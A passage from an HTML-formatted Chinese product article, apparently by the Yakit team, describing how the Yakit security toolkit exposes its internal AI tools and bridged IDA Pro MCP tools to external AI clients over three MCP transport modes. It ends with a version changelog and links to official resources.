SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 1 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">2.</span>AI Tool Framework：底层基础设施的全面开放</span></strong></span></strong></span></p></div></div></div></div></div><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mq8wfg8n1fzs" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.038022813688213" data-type="png" data-w="1578" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="1578" data-height="1638" data-imgfileid="100046258" src="https://wechat2rss.xlab.app/img-proxy/?k=ed461fb9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72HI3oHTe2nB3mFMZ48jVMoQCEQDtEIdh0uGHk59LSMCLcY1yQcvJ4bZHrDzUB4IjtA9PibMNj5qtDyMBkzDSribVibmG6IKdiaktdU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">除了传统的网络安全扫描，Yakit 还将原本专属于内部 Agent 框架的底层基础设施（来源标记为“AI内置”）全面开放给了第三方。</span></span></p><ul class="list-paddingleft-1"><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">能力范畴：涵盖了 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">ssa-grep</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> / </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">ssa-read-file</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（基于 SSA 的代码静态分析与检索）、</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">powershell</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> / </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">cmd</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（受控环境下的系统命令执行）、</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">tls_inspect</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（证书审计）以及 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">call_yak_plugin</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（Yak 插件动态调用）等。</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">工程价值：这使得第三方 AI 的能力边界从“网络层”延伸到了“主机层”与“代码层”。外部大模型不仅能做黑盒扫描，还能通过 Yakit 深入到目标系统的源代码层面进行白盒审计，或者在授权环境下执行系统级取证分析。</span></span></p></li></ul><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 11 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">3.</span></span><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 10px;outline: 0px;font-size: 16px;letter-spacing: 0.544px;background-color: #ffffff;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;font-family:system-ui, -apple-system, \&#34;system-ui\&#34;, \&#34;Helvetica Neue\&#34;, \&#34;PingFang SC\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 3px;outline: 0px;display: inline-block;width: 67%;vertical-align: top;align-self: flex-start;flex: 0 0 67%;min-width: 5%;height: auto;background-color: #ff8124;box-sizing: border-box;&#34;,&#34;data-width&#34;:&#34;67%&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: 94%;flex: 0 0 94%;height: auto;background-color: #ffffff;align-self: center;box-sizing: border-box;&#34;,&#34;data-width&#34;:&#34;94%&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;text-align: justify;color: #1b1b1b;width: 100%;flex: 0 0 100%;&#34;,&#34;data-width&#34;:&#34;100%&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;font-size: 14px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">桥接外部MCP：打造安全工具生态的“中央枢⁠纽”</span></strong></span></strong></span></strong></span></p></div></div></div></div></div><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mq8wfp0622oc" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-height="1588" data-imgfileid="100046257" data-ratio="1.0037926675094817" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-type="png" data-w="1582" data-width="1582" src="https://wechat2rss.xlab.app/img-proxy/?k=173d0e37&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72Gr1o0I0FDL3PYZoxLqRQMadCicKQhqoW3qcZjasP9B1Tq6FktYjTibhqfeNnpWPK81WuM73pavuGmJ0ca6zXWpgBVqgfadLcL4U%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">Yakit 不仅能暴露自身的能力，还能作为一个“代理枢纽”（Proxy），将它所连接的其他外部 MCP Server 的能力再次“透传”出去</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></p><ul class="list-paddingleft-1"><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">能力范畴：如图所示，Yakit 将此前接入的 IDA Pro MCP 工具（如 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">mcp_IDA_analyze_function</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">、</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">mcp_IDA_trace_data_flow</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 等）桥接并暴露在了自己的 Server 列表中。</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">工程价值：这种设计彻底打通了不同安全工具与不同 AI 客户端之间的生态壁垒。假设企业内部有一个统一的 AI 研判大脑，它不需要去分别对接 IDA Pro、BurpSuite 或其他扫描器；它只需要连接 Yakit 这一个“中央枢纽”，Yakit 就会在底层完成所有异构安全工具的协议桥接与能力路由。这为构建企业级、全场景的 AI 安全工作流提供了最坚实的基础设施。</span></span></p></li></ul><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">四、底层支撑：适配全场景的传输模式 (Transport)</span></strong></p></div></div></div><p style="margin: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">无论是 Agent 调用外部工具，还是 Yakit 对外提供服务，支撑这些复杂跨进程、跨网络调用的，是底层极其健壮的</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">传输控制体系。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">在实际的安全工程中，工具的部署位置千差万别。为了保证连接的可靠性，Yakit 严格遵循 MCP 标准，在底层实现了</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">三种不同的传输模式（Type），</span><span textstyle="" style="letter-spacing: 1px;">用户可以在 GUI 直接配置：</span></span></p><ul class="list-paddingleft-1"><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Stdio（标准输入输出）模式： 这是最常见也是最轻量的模式。当 MCP Server 与 Yakit 运行在同一台物理机上时，Yakit 会通过命令行直接拉起该进程，并通过标准输入/输出流（stdin/stdout）进行 JSON-RPC 通信。这种模式无需占用网络端口，极度安全且延迟极低，非常适合本地安全工具的深度集成。</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">SSE（Server-Sent Events）模式： 当安全能力被部署在远端服务器（例如企业内网的扫描节点）时，Stdio 模式便不再适用。SSE 模式允许 Yakit 通过标准的 HTTP 协议建立连接，服务端可以通过单向事件流实时向客户端推送状态更新，而客户端则通过 HTTP POST 发起调用。这种模式完美穿透了传统的防火墙限制，是跨网络轻量级通信的首选。</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Streamable HTTP 模式： 这是 Yakit 针对高吞吐量安全场景（如大规模端口扫描或目录爆破）定制的流式 HTTP 传输层。它在保证 HTTP 协议通用性的同时，优化了大数据块的流式传输效率，确保在极端并发下，AI 客户端仍能稳定接收海量的测试结果。</span></span></p></li></ul><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><span leaf=""><span textstyle="" style="font-weight: bold;">五、结语</span></span></p></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">在严肃的工业级安全场景中，AI 的落地不能仅凭大模型的“聪明才智”，更需要坚实的工程化约束。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Yakit 此次 MCP 架构的演进，本质上是在做一件极其务实的事情：通过标准化的协议总线，为 AI 划定清晰的操作边界，同时将最硬核的安全能力无缝注入到 AI 的工作流中。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">破除工具孤岛，让 AI 在既定的轨道上高效运转，这才是安全自动化的未来。</span></span></p><p style="margin-bottom: 0px;outline: 0px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: center;" data-pm-slice="3 5 []"><strong data-brushtype="text" style="outline: 0px;color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, Arial, sans-serif;font-size: 20px;letter-spacing: 0.578px;background-color: rgb(247, 150, 70);"><span leaf="">END</span></strong></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><div style="outline: 0px;"><div powered-by="xiumi.us" style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;"><div powered-by="xiumi.us" style="outline: 0px;text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding-right: 11px;padding-left: 11px;outline: 0px;display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 0px 1px;border-color: rgb(62, 62, 62) rgb(255, 129, 36);min-width: 10%;flex: 0 0 auto;height: auto;align-self: flex-start;"><div powered-by="xiumi.us" style="outline: 0px;color: rgb(255, 255, 255);"><p style="outline: 0px;"><span style="outline: 0px;background-color: rgb(255, 129, 36);"><strong style="outline: 0px;"><span style="outline: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">更新记录 </span></span></strong></span></p></div></div></div><div powered-by="xiumi.us" style="margin-bottom: 10px;outline: 0px;"><div style="outline: 0px;font-size: 14px;text-align: justify;"><p><span leaf="">Yakit v1.4.7-0612</span></p><p><span leaf="">1. 支持AI生成插件名称/描述/tag</span></p><p><span leaf="">2. 匹配器新增“失败”类型，支持失败数据一键重试</span></p><p><span leaf="">3. 优化插件右侧参数字段展示</span></p><p><span leaf="">4. 修复字典右键菜单组件问题</span></p><p><span leaf="">5. 修复部分暗色模式问题</span></p><p><span leaf="">6. 修复框选配置问题</span></p><p><span leaf="">7. 修复全局热加载模板展示问题</span></p><p><span leaf="">8. 优化win安装时低权限提示</span></p><p><span leaf="">9. Webfuzzer增加AI测试提示词，一键自动测试</span></p><p><span leaf="">10. History列表隐藏系统Tag，但侧边可筛选</span></p><p><span leaf="">11. 删除History流量漏洞详情也可查看数据包</span></p><p><span leaf="">Memfit AI v1.0.2-0612</span></p><p><span leaf="">1. 任务数增加可查看每个子任务的执行详情，包括技能、工具、插件加载情况等</span></p><p><span leaf="">2. 优化打开新窗口查看任务的底层逻辑，提升加载速度</span></p><p><span leaf="">Yaklang 1.4.7-beta9</span></p><p><span leaf="">[Yakit]</span></p><p><span leaf="">1. 优化安装引导，完善并优化了权限错误的提示信息；</span></p><p><span leaf="">2. 重构 HttpFuzzer 的模式处理与重试等核心逻辑，支持强制失败匹配器；</span></p><p><span leaf="">3. 重构爬虫模块，修复了因爬虫引起的进程泄漏问题;</span></p><p><span leaf="">[Yaklang]</span></p><p><span leaf="">1. Risk 风险点流量改为冗余存储，保障 HttpFlow 被清理之后依然保留关联数据；	</span></p><p><span leaf="">[Memfit / AIgent]</span></p><p><span leaf="">1. 能力调度与增强：重构 AI Agent 附加资源机制</span></p><p><span leaf="">2. 修复 MCP 数据库过滤逻辑问题与软删除失效问题</span></p><p><span leaf="">3. 修复 MCP AI Tool 的 Schema 错误</span></p><p><span leaf="">4. 修复 MCP CLI 的崩溃问题</span></p></div></div></div></div></div></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><div style="outline: 0px;"><div powered-by="xiumi.us" style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;"><div powered-by="xiumi.us" style="outline: 0px;text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding-right: 11px;padding-left: 11px;outline: 0px;display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 0px 1px;border-color: rgb(62, 62, 62) rgb(255, 129, 36);min-width: 10%;flex: 0 0 auto;height: auto;align-self: flex-start;"><div powered-by="xiumi.us" style="outline: 0px;color: rgb(255, 255, 255);"><p style="outline: 0px;"><span style="outline: 0px;background-color: rgb(255, 129, 36);"><strong style="outline: 0px;"><span style="outline: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">YAK官方资源 </span></span></strong></span></p></div></div></div><div powered-by="xiumi.us" style="margin-bottom: 10px;outline: 0px;"><div style="outline: 0px;font-size: 14px;text-align: justify;"><p style="outline: 0px;"><span leaf="">Yak 语言官方教程：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/docs/intro/" target="_blank">https://yaklang.com/docs/intro/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit 视频教程：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Github下载地址：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit官网下载地址：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit安装文档：</span></p><p style="outline: 0px;"><span style="outline: 0px;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;"><span leaf=""><a href="https://yaklang.com/products/download_and_install" target="_blank">https://yaklang.com/products/download_and_install</a></span></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit使用文档：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/products/intro/" target="_blank">https://yaklang.com/products/intro/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">常见问题速查：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a 